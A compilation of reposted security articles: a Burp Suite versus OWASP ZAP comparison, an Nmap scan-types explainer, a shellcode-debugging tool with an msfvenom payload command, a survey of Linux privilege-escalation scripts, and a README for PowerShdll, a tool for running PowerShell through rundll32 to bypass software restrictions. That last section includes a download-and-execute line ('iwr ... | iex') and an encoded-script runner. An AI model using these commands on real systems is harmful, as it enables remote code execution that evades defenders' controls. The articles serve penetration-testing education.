Burp Suite vs OWASP ZAP – a Comparison series

Burp Suite vs OWASP ZAP – a Comparison series

Original text by Jaw33sh

Burp Suite {Pro} vs OWASP ZAP! Does more expensive mean better?

In this post, I would like to document some of the differences between the two most renowned interception proxies used by penetration testers as well as DevSecOps teams around the globe.


I am no expert in both tools; however, I have used them enough to feel good about documenting their features in this post. Please comment if you see an error or you want to point something I missed.


Both OWASP ZAP and Burp Suite are considered intercepting proxies (on steroids) that sits between the browser and the webserver to intercept and manipulate requests exchange.

OWASP ZAP is a free and open-source project actively maintained by volunteers while Burp Suite is a commercial Product maintained and sold by PortSwigger, They have been selected almost on every top 10 tools of the year, and in this post, I will compare version 2020.x of burp suite which saw the first release on January 2020.

We can see since they emerged to the market, they are gaining more and more momentum and users as we see in google trends for the past 5 years (2015-2020). Hopefully, by the end of this post, you will get a better understanding of their similarities and differences.

Trends between 2015 and 2020
Google Trends showing Burp suite in blue and OWASP ZAP in Red

I will discuss the differences between both tools in regards to the following aspects:

  1. Describing the User Interface
  2. Listing capabilities and features for both tools
  3. Personal User Experience with each one of them
  4. Pros and Cons of each tool 

1. User Interface

The user interface can be frustrating when you first see it. Still, after a while, it gets intuitive and has all the necessary info you need to know. Both tools have 6 simple items in their interface.

Burp Suite has a simple interface consisting of 6 simple windows.

Burp Suite 2020.2.1 User Interface
  1. Menu Bar – Provides navigation menus and tools settings
  2. Tabs Bar -Provides most of the functionality of burp in simple tabs
  3. Status Bar – Provides information for memory and disk space used by burp (new handy feature)
  4. Event Log – Provides a log for Burp Suite containing additional information
  5. Issues and Vulnerabilities window – Provides a list of detected vulnerabilities and is Active on a paid version of Burp Suite Pro or Enterprise
  6. Tasks menu – Provides simple information and control over current running, paused and finished tasks

while Zap has a simple interface consisting of also 6 simple items

ZAP 1.8.0 user interface Source: https://www.zaproxy.org/getting-started/
  1. Menu Bar – Provides access to many of the automated and manual tools.
  2. Toolbar – Includes buttons that provide easy access to most commonly used features.
  3. Tree Window – Displays the Sites tree and the Scripts tree.
  4. Workspace Window – Displays requests, responses, and scripts and allows you to edit them.
  5. Information Window – Displays details of the automated and manual tools.
  6. Footer – Displays a summary of the alerts found and the status of the main automated tools.

2. Capabilities

Both burp suite and Zap have good sets of capabilities; however, at some, a tool can excel more than the other, we will get to each one further down in separate posts.

  • Intercepting feature with SSL/TLS support and web sockets.
  • Interception History.
  • Tree navigation for scope.
  • Scope definition.
  • Manual request editor and sender.
  • Plugins, Extensions, and Marketplace/Store.
  • Vulnerability tree or Issues display.
  • Fuzzer capabilities with default lists.
  • Scan Policy configuration.
  • Report generation capability.
  • Encoders and Decoders.
  • Spider function.
  • Auto check for Update features.
  • Save and Load Project files.
  • Exposed and usable APIs .
  • Passive and Active scan engine.
  • Session Token entropy Analysis (Burp Only if you know that ZAP support this even with Addons please leave a comment).
  • Knowledge Base (Burp only, as ZAP does not support that in the UI).
  • Diff-like capability or comparison feature (Burp only AFAIK no support out of the box for ZAP).
  • Support for multiple programming and scripting languages.
  • Authentication Modules like NTLM, form authentication, and so on.

I might have missed some features so please if you know a feature I missed, please comment below.

3. User experience

A while back, I had to use both tools for comparison, While I am used to Burp Suite more from the first look, OWASP ZAP does the same functionality but has to be enhanced with plugins. keep in mind there is an easy learning curve for both.
For example, ZAP has one fuzzer window, which makes it harder to search in fuzzer results, especially when you run multiple fuzzers. At the same time, burp has different windows and configuration for each fuzz conducted. the same goes for other features.
Unlike Burp, You can’t change (add, edit or remove) HTTP headers in ZAP fuzzer window. That gives Burp an edge because it allows you to sort or search in fuzzing results faster and effectively.

zap fuzzer
Zap 2.8.0 Fuzzer window
burp fuzzer configuratability
Burp 2020.2.1 Fuzzer window

which one do you find intuitive?

One big plus for Burp is the Comparer tab, it allows for easier change detection. Like detecting differences in size from time change or tokens and content, ZAP lacks this feature without extensions (comment bellow which ZAP plugin does that).

quickly compare request or response

Another hurdle in ZAP is the ability to search for text in the request or server response, unlike Burp, which makes it more accessible. You can search for text or regex.

Burp Repeater makes it easier to search
Zap request Editor

One more thing that makes Burp more popular than Zap is the ability to detect token entropy and randomness for cryptography analysis. Very useful when session cookies are generated manually.

Burp Sequencer run statistics on tokens and calculates Entropy

However, One big plus for Zap is its API, which makes for easier integration or automation than Burp. You access the API from the browser or other user agents like curl or SDKs/libraries.

Burp Suite community edition API can only be used to write plugins and extensions, unlike ZAP which can be used on DevOps and/or DevSecOps pipelines.

A new Burp REST API was introduced in 2018 which makes it easier to integrate burp with other tools and workflows.

An example is using the API to spider a host and getting the results, e.g. crawling testphp.vulnweb.com from the console.

This feature makes OWASP ZAP the easiest to integrate into DevSecOps pipelines no matter how big or small is your environment.

ZAP API in action

For a while, Only OWASP had good resources to learn about ZAP and web application security, but recently PortSwigger also launched a very good free Web Security academy

4. Cons and Pros of each other

In my experience, ZAP is good when it comes to DevOps/DevSecOps for it’s easier API integration and support. At the same time, Burp is more oriented towards actual vulnerability assessment and penetration testing of web applications.

At the different price points for each tool, it is up to your scenario to decide if more expensive is better. Burp Pro is priced by PortSwigger at 399 USD per user per year, While OWASP ZAP is a free and open-source project under Apache 2.0 License.

In conclusion, both tools are good in their differences and use cases. tell me which tool you like and your tips and tricks for Zap or Burp (●’◡’●)

Deep Dive Into Nmap Scan Techniques

Deep Dive Into Nmap Scan Techniques

Original text by PenTest-duck

Disclaimer: I won’t be covering “every” scan type (e.g. -sY, -sM), but I’ll cover the scan types that I think will be used more often.
A More Serious Disclaimer: using Nmap against a target or network without explicit permission is illegal and should therefore not be attempted.


Image for post

nmap -h SCAN TECHNIQUES output

So if you’re like me and have done man nmap or nmap -h to see what Nmap has to offer, you’ll notice it prints lines and lines of output. In this blog post, I’ll try and demystify many of the scan techniques it has to offer, including some uncommon ones that you may never have to use in your life.

TCP Connect Scan (-sT)

Syntax: nmap -sT <target-ip> [-p <ports>]
Let’s kick this off with one of the more common ones. Personally, I rarely ever use -sT unless -sS doesn’t work (but if -sS doesn’t work, I doubt that -sT is going to work, either). Nevertheless, it is good to know how a TCP Connect scan works and how Nmap can leverage TCP to reveal port status. Basically, TCP Connect scans utilise TCP’s connection-oriented nature to attempt to perform a full 3-way TCP handshake with each port and verify its state.

Image for post
TCP Connect Scan captured in Wireshark (23 = closed, 22 = open)

Nmap sends a SYN packet to initiate the 3-way TCP handshake. If the port is closed (look at top 2 packets), the port replies with a RST-ACK, to terminate the connection.

If the port is open (look at next 5 packets), the server replies with a SYN-ACK, and Nmap completes the 3-way handshake with an ACK packet. Then (after the port updates the window [search “TCP sliding window”]), Nmap immediately terminates the connection with a RST-ACK packet.

Pro: quite reliably scans TCP ports
Cons: less “stealthy” (connection attempts will be logged by the server), takes a longer time, sends more packets

TCP SYN (“Stealth”/“Half-Open”) Scan (-sS)

Syntax: nmap [-sS] <target-ip> [-p <ports>]
The SYN scan is the default scan of Nmap, and it goes by many names, the first referring to its sneaky nature of avoiding connnection attempts from being logged by the server (nowadays, the SYN scan is not so stealthy anymore). But how does it achieve this? The second name explains it — “Half Open” refers to SYN scan’s method of performing only 2 steps of the 3-way TCP handshake. We never send the third and last packet, and instead terminate the connection, therefore allowing Nmap to verify the port’s status without fully connecting to the port.

Image for post
TCP SYN Scan captured in Wireshark (23 = closed, 22 = open)

ust like the TCP Connect scan, Nmap sends a SYN packet to initate the handshake, and if the port is closed, receives a RST-ACK (packets 1, 3).

However, this time, if the port is open, after Nmap receives the SYN-ACK, it
immediately sends a RST packet to terminate the connection, as it has verified that the port is open due to it responding with a SYN-ACK (packets 4,5).

Pros: quicker and sends less packets
Con: with advancements in firewall and server defenses technology, it is not stealthy anymore

UDP Scan (-sU)

Syntax: nmap -sU <target-ip> [-p <ports>]
UDP Scanning utilises UDP and ICMP packets to discover the status of a port. Nmap sends an empty UDP packet and either receives no reply or an ICMP Port Unreachable packet. But due to UDP’s connectionless nature, the output can be unreliable at times.

Image for post
UDP Scan captured with Wireshark (88 = open, 89 = closed)

Nmap sends an empty UDP packet for both ports (packets 1,2,4) and receives no reply from port 88 twice(open) and an ICMP Port Unreachable packet (packet 3) from port 89 (closed).

But Nmap returns this output:

Image for post
Nmap returns “open|filtered”

What’s up with the “open|filtered” instead of “open”?
Here’s the thing: when Nmap received no reply from port 88, one scenario could be that port 88 really is open, and is therefore not responding with any reply, however, another possible scenario is that a firewall is filtering out our traffic and thus the UDP packet never reaches the target and we receive no reply. Either way, we won’t know the difference — which results in Nmap displaying “open|filtered”.

Pros: allows the scanning of UDP ports
Cons: not always reliable

Null, FIN & Xmas Scans (-sN, -sF, -sX)

Syntax: nmap {-sN -sF -sX} <target-ip> [-p <ports>]
Now we get to the scan techniques that we will come across much less often. All of Null, FIN and Xmas scans are intended to stealthily sneak through stateless firewalls and packet filters, by turning on different TCP flags
Null scan: no flags set
FIN scan: FIN flag set
Xmas scan: FIN, PSH, URG flags set (packet lights up like a Christmas tree, hence the name)

Image for post
Null, FIN and Xmas scan captured in Wireshark (22 = open, 23 = closed)

For all of the scans, the underlying procedure is the same, except for the flags. If a port is closed, it replies with a RST-ACK and if it is open, it does not reply. However, this is not the case for all machines as not every machine follows RFC 793 and can send a RST packet even though the port is open. Additionally, since these scans rely on open ports not replying back (like UDP scan), it also suffers the issue of us not knowing if a firewall has filtered our packets or not (thus our output of “open|filtered”).

Pro: can sneak through some firewalls and packet filters
Cons: not all machines conform to RFC 793, not always reliable

ACK Scan (-sA)

Syntax: nmap -sA <target-ip> [-p <ports>]
Now, the ACK scan is a little bit different to what we’ve looked at so far. The ACK Scan isn’t meant to discover the open/closed status of ports. Instead, it helps us visualise the rulesets of intermediary firewalls. As the name suggests, Nmap sends TCP packets with only the ACK flag set, and if it receives a RST packet (both open and closed ports will respond with a RST), the port is marked as “unfiltered”, but if it receives no reply, or an ICMP error, the port is marked as “filtered”, and the firewall has filtered the packet.

Image for post
ACK Scan captured in Wireshark (22 = open, 23 = closed)

Port 22 is open, while port 23 is closed, but both reply with a RST packet when an ACK packet is sent. This shows that both ports are not filtered by any firewalls.

Pro: maps out firewall rulesets
Con: cannot determine if the port is open or closed

Idle Scan (-sI)

Syntax: nmap -sI <zombie-ip> <target-ip> [-p <ports>]
This is the most interesting — yet the most complex — scan of all. As you can see from the syntax, we require a “zombie” in order to perform an idle scan. In a nutshell, Nmap will attempt to leverage an idle host to indirectly launch a port scan, therefore hiding our IP address from the target. It does this using the difference in increments of the IP ID of the zombie.

To understand how Nmap achieves this in understandable detail, please look at figures 5.65.7 and 5.8 in https://nmap.org/book/idlescan.html.

Pro: masks our true IP address
Con: possibility of false positives (due to zombie host not being idle)

Further Digging:

If you want to know more about these scan types, and other scan types Nmap has to offer, take a look at:

BlobRunner — Quickly Debug Shellcode Extracted During Malware Analysis

( Original text by LYDECKER BLACK )

BlobRunner is a simple tool to quickly debug shellcode extracted during malware analysis.
BlobRunner allocates memory for the target file and jumps to the base (or offset) of the allocated memory. This allows an analyst to quickly debug into extracted artifacts with minimal overhead and effort.


To use BlobRunner, you can download the compiled executable from the releases page or build your own using the steps below.
Building the executable is straight forward and relatively painless.

  • Download and install Microsoft Visual C++ Build Tools or Visual Studio

Build Steps

  • Open Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
cl blobrunner.c

Building BlobRunner x64
Building the x64 version is virtually the same as above, but simply uses the x64 tooling.

  • Open x64 Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
 cl /Feblobrunner64.exe /Foblobrunner64.out blobrunner.c

To debug:

  • Open BlobRunner in your favorite debugger.
  • Pass the shellcode file as the first parameter.
  • Add a breakpoint before the jump into the shellcode
  • Step into the shellcode
BlobRunner.exe shellcode.bin

Debug into file at a specific offset.

BlobRunner.exe shellcode.bin --offset 0x0100

Debug into file and don’t pause before the jump. Warning: Ensure you have a breakpoint set before the jump.

BlobRunner.exe shellcode.bin --nopause

Debugging x64 Shellcode
Inline assembly isn’t supported by the x64 compiler, so to support debugging into x64 shellcode the loader creates a suspended thread which allows you to place a breakpoint at the thread entry, before the thread is resumed.

Remote Debugging Shell Blobs (IDAPro)
The process is virtually identical to debugging shellcode locally — with the exception that the you need to copy the shellcode file to the remote system. If the file is copied to the same path you are running win32_remote.exe from, you just need to use the file name for the parameter. Otherwise, you will need to specify the path to the shellcode file on the remote system.

Shellcode Samples
You can quickly generate shellcode samples using the Metasploit tool msfvenom.
Generating a simple Windows exec payload.

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -o test2.bin

Feedback / Help

  • Any questions, comments or requests you can find us on twitter: @seanmw or @herrcore
  • Pull requests welcome!

Linux Privilege Escalation via Automated Script

Картинки по запросу Linux Privilege Escalation

( Original text by Raj Chandel )

We all know that, after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to higher-privileged shell. But apart from it, there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.

Table of Content

  • Introduction
  • Vectors of Privilege Escalation
  • LinuEnum
  • Linuxprivchecker
  • Linux Exploit Suggester 2
  • Bashark
  • BeRoot


Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he try to gather critical information related to system such as hidden password and weak configured services or applications and etc. All these information helps the attacker to make the post exploit against machine for getting higher-privileged shell.

Vectors of Privilege Escalation

  • OS Detail & Kernel Version
  • Any Vulnerable package installed or running
  • Files and Folders with Full Control or Modify Access
  • File with SUID Permissions
  • Mapped Drives (NFS)
  • Potentially Interesting Files
  • Environment Variable Path
  • Network Information (interfaces, arp, netstat)
  • Running Processes
  • Cronjobs
  • User’s Sudo Right
  • Wildcard Injection

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.


Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.

Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory accessible.

System Information: Hostname, Networking details, Current IP and etc.

User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd.

Kernel and distribution release details.

You can download it through github with help of following command:

Once you download this script, you can simply run it by tying ./LinEnum.sh on terminal. Hence it will dump all fetched data and system details.

Let’s Analysis Its result what is brings to us:

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu


Super User Accounts: root, demo, hack, raaz

Sudo Rights User: Ignite, raj

Home Directories File Permission

Environment Information

And many more such things which comes under the Post exploitation.


Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that’s been taken under. Use wget to download the script from its source URL.

Now to use this script just type python linuxprivchecke.py on terminal and this will enumerate file and directory permissions/contents. This script works same as LinEnum and hunts details related to system network and user.

Let’s Analysis Its result what is brings to us.

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu

Network Info: Interface, Netstat

Writable Directory and Files for Users other than Root: /home/raj/script/shell.py

Checks if Root’s home folder is accessible

File having SUID/SGID Permission

For example: /bin/raj/asroot.sh which is a bash script with SUID Permission

Linux Exploit Suggester 2

Next-generation exploit suggester based on Linux_Exploit_Suggester. This program performs a ‘uname -r‘ to grab the Linux operating system release version, and returns a list of possible exploits.

This script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments.

Key Improvements Include:

  • More exploits
  • Accurate wildcard matching. This expands the scope of searchable exploits.
  • Output colorization for easy viewing.
  • And more to come

You can use the ‘-k’ flag to manually enter a wildcard for the kernel/operating system release version.


Bashark aids pentesters and security researchers during the post-exploitation phase of security audits.

Its Features

  • Single Bash script
  • Lightweight and fast
  • Multi-platform: Unix, OSX, Solaris etc.
  • No external dependencies
  • Immune to heuristic and behavioural analysis
  • Built-in aliases of often used shell commands
  • Extends system shell with post-exploitation oriented functionalities
  • Stealthy, with custom cleanup routine activated on exit
  • Easily extensible (add new commands by creating Bash functions)
  • Full tab completion

Execute following command to download it from the github:


To execute the script you need to run following command:

The help command will let you know all available options provide by bashark for post exploitation.

With help of portscan option you can scan the internal network of the compromised machine.

To fetch all configuration file you can use getconf option. It will pull out all configuration file stored inside /etcdirectory. Similarly you can use getprem option to view all binaries files of the target‘s machine.


BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that have been found as potential way to escalate our privilege.


To execute the script you need to run following command:

It will try to enumerate all possible loopholes which can lead to privilege Escalation, as you can observe the highlighted yellow color text represents weak configuration that can lead to root privilege escalation whereas the red color represent the technique that can be used to exploit.

It’s Functions:

Check Files Permissions

SUID bin

NFS root Squashing


Sudo rules

Kernel Exploit

Conclusion: Above executed script are available on github, you can easily download it from github. These all automated script try to identify the weak configuration that can lead to root privilege escalation.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Run PowerShell with rundll32. Bypass software restrictions.

Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.

Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.
Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.

dll mode:

rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

exe mode

PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console


Run base64 encoded script

rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Download and run script

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;


  • .Net v3.5 for dll mode.
  • .Net v2.0 for exe mode.

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process’ console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.